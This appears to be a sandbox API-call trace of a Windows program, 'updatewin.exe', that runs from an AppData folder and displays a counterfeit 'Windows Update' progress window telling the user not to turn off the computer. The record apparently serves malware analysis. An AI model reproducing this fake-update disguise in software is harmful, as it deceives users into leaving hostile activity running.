[0049.865] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402116) returned 0x404e69 [0049.865] GetStartupInfoW (in: lpStartupInfo=0x18e548 | out: lpStartupInfo=0x18e548*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0049.865] InitCommonControlsEx (picce=0x18e564) returned 1 [0049.866] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x60111 [0049.867] LoadStringW (in: hInstance=0x400000, uID=0x67, lpBuffer=0x414378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0049.867] LoadStringW (in: hInstance=0x400000, uID=0x6d, lpBuffer=0x4142b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0049.867] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x60111 [0049.867] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0049.867] LoadIconW (hInstance=0x400000, lpIconName=0x6c) returned 0x70171 [0049.868] RegisterClassExW (param_1=0x18e510) returned 0xc13b [0049.868] GetDesktopWindow () returned 0x10010 [0049.868] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0049.868] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x18e510 | out: lpmi=0x18e510) returned 1 [0049.868] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x601b4 [0050.215] NtdllDefWindowProc_W () returned 0x0 [0050.215] NtdllDefWindowProc_W () returned 0x1 [0050.217] NtdllDefWindowProc_W () returned 0x0 [0050.219] CreateDialogParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0x601b4, lpDialogFunc=0x401360, dwInitParam=0x0) returned 0x40120 [0050.225] NtdllDefWindowProc_W () returned 0x0 [0050.227] NtdllDefWindowProc_W () returned 0x0 [0050.227] NtdllDefWindowProc_W () returned 0x0 [0050.231] GetClientRect (in: hWnd=0x40120, lpRect=0x18d358 | out: lpRect=0x18d358) returned 1 [0050.231] GetDlgItem (hDlg=0x40120, nIDDlgItem=1000) returned 0x40124 [0050.231] MoveWindow (hWnd=0x40124, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0050.232] GetDlgItem (hDlg=0x40120, nIDDlgItem=1001) returned 0x4011e [0050.232] MoveWindow (hWnd=0x4011e, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0050.232] SendMessageW (hWnd=0x4011e, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0050.232] SendMessageW (hWnd=0x4011e, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0050.233] timeGetTime () returned 0x1b3a4 [0050.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401690, lpParameter=0x40120, dwCreationFlags=0x0, lpThreadId=0x4142a4 | out: lpThreadId=0x4142a4*=0x114) returned 0xbc [0050.234] ShowWindow (hWnd=0x40120, nCmdShow=5) returned 0 [0050.234] GetClientRect (in: hWnd=0x601b4, lpRect=0x18df10 | out: lpRect=0x18df10) returned 1 [0050.234] MoveWindow (hWnd=0x40120, X=0, Y=0, nWidth=412, nHeight=212, bRepaint=1) returned 1 [0050.235] NtdllDefWindowProc_W () returned 0x0 [0050.235] SetWindowPos (hWnd=0x601b4, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0050.235] NtdllDefWindowProc_W () returned 0x0 [0050.238] NtdllDefWindowProc_W () returned 0x0 [0050.238] NtdllDefWindowProc_W () returned 0x0 [0050.327] NtdllDefWindowProc_W () returned 0x0 [0050.328] NtdllDefWindowProc_W () returned 0x0 [0050.328] NtdllDefWindowProc_W () returned 0x1 [0050.329] NtdllDefWindowProc_W () returned 0x0 [0050.357] NtdllDefWindowProc_W () returned 0x0 [0050.358] NtdllDefWindowProc_W () returned 0x0 [0050.359] NtdllDefWindowProc_W () returned 0x0 [0050.359] NtdllDefWindowProc_W () returned 0x0 [0050.360] ShowWindow (hWnd=0x601b4, nCmdShow=1) returned 0 [0050.360] NtdllDefWindowProc_W () returned 0x0 [0050.360] NtdllDefWindowProc_W () returned 0x0 [0050.360] NtdllDefWindowProc_W () returned 0x0 [0050.364] NtdllDefWindowProc_W () returned 0x1 [0050.364] NtdllDefWindowProc_W () returned 0x0 [0050.365] NtdllDefWindowProc_W () returned 0x0 [0050.365] NtdllDefWindowProc_W () returned 0x0 [0050.365] UpdateWindow (hWnd=0x601b4) returned 1 [0050.365] BeginPaint (in: hWnd=0x601b4, lpPaint=0x18e328 | out: lpPaint=0x18e328) returned 0x1010834 [0050.365] EndPaint (hWnd=0x601b4, lpPaint=0x18e328) returned 1 [0050.365] BeginPaint (in: hWnd=0x40120, lpPaint=0x18da10 | out: lpPaint=0x18da10) returned 0x901081f [0050.365] CreateSolidBrush (color=0x5b3ef) returned 0xffffffffcc10024d [0050.366] FillRect (hDC=0x901081f, lprc=0x18da00, hbr=0xcc10024d) returned 1 [0050.370] DeleteObject (ho=0xcc10024d) returned 1 [0050.370] DrawIcon (hDC=0x901081f, X=7, Y=7, hIcon=0x60111) returned 1 [0050.370] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x540a080a [0050.370] SelectObject (hdc=0x901081f, h=0x540a080a) returned 0x18a002e [0050.371] SetBkMode (hdc=0x901081f, mode=1) returned 2 [0050.371] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0050.371] TextOutW (hdc=0x901081f, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0050.374] SelectObject (hdc=0x901081f, h=0x18a002e) returned 0x540a080a [0050.374] CreateSolidBrush (color=0xffffff) returned 0xcd10024d [0050.374] FillRect (hDC=0x901081f, lprc=0x18d9f0, hbr=0xcd10024d) returned 1 [0050.374] DeleteObject (ho=0xcd10024d) returned 1 [0050.374] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x4b0a0806 [0050.380] SelectObject (hdc=0x901081f, h=0x4b0a0806) returned 0x18a002e [0050.380] SetBkMode (hdc=0x901081f, mode=1) returned 1 [0050.380] lstrlenW (lpString="Getting your update ready.") returned 26 [0050.380] TextOutW (hdc=0x901081f, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0050.380] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0050.380] TextOutW (hdc=0x901081f, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0050.380] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0050.380] TextOutW (hdc=0x901081f, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0050.380] SelectObject (hdc=0x901081f, h=0x18a002e) returned 0x4b0a0806 [0050.380] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x430a0808 [0050.382] SelectObject (hdc=0x901081f, h=0x430a0808) returned 0x18a002e [0050.382] SetBkMode (hdc=0x901081f, mode=1) returned 1 [0050.382] SetTextAlign (hdc=0x901081f, align=0x6) returned 0x0 [0050.382] wsprintfW (in: param_1=0x18da50, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0050.382] lstrlenW (lpString="Percent complete: 4%") returned 20 [0050.382] TextOutW (hdc=0x901081f, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0050.385] SelectObject (hdc=0x901081f, h=0x18a002e) returned 0x430a0808 [0050.385] EndPaint (hWnd=0x40120, lpPaint=0x18da10) returned 1 [0050.408] LoadAcceleratorsW (hInstance=0x400000, lpTableName=0x6d) returned 0x40127 [0050.408] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.408] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.408] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.408] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.408] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.408] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.408] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.408] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.408] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.408] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.408] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.408] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.409] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.409] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.409] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.409] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.409] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.412] NtdllDefWindowProc_W () returned 0x0 [0050.412] NtdllDefWindowProc_W () returned 0x0 [0050.412] NtdllDefWindowProc_W () returned 0x0 [0050.462] TranslateAcceleratorW (hWnd=0x301b2, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.462] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.462] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.462] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.462] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.462] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.462] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.462] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.503] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.503] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.503] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.503] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.503] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.503] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.503] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.504] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.549] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.549] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.549] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.549] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.595] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.595] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.595] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.596] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.642] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.642] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.642] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.642] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.642] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.643] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.643] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.643] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.658] TranslateAcceleratorW (hWnd=0x301ac, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.658] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.658] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.658] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.690] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.690] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.690] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.690] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.736] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.736] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.736] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.737] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0050.737] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0050.737] TranslateMessage (lpMsg=0x18e548) returned 0 [0050.737] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0050.738] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.235] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.235] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.235] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.235] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.284] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.284] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.284] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.284] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.284] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.284] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.284] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.285] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.329] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.329] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.329] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.329] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.329] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.329] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.329] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.330] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.376] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.376] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.376] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.376] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.376] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.376] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.376] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.377] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.422] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.422] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.422] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.422] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.422] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.422] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.422] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.423] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.469] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.469] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.469] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.469] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.469] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.469] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.469] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.470] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.516] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.516] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.516] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.516] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.516] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.516] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.516] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.517] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.563] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.563] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.563] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.563] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.563] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.563] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.563] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.564] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.610] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.610] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.610] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.610] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.610] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.610] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.610] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.611] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.656] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.656] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.656] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.656] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.656] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.656] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.656] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.657] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.703] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.703] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.703] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.703] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.703] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.703] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.703] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.704] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.750] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.750] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.750] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.750] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.750] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.750] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.750] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.751] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.797] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.797] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.797] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.797] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.797] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.797] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.797] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.798] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0051.843] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0051.843] TranslateMessage (lpMsg=0x18e548) returned 0 [0051.843] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0051.843] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.389] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.389] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.389] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.390] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.435] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.435] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.435] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.435] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.435] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.435] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.435] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.438] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.481] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.481] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.481] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.481] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.482] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.482] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.482] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.482] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.528] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.528] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.528] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.528] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.528] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.528] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.528] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.529] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.576] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.576] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.576] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.576] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.576] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 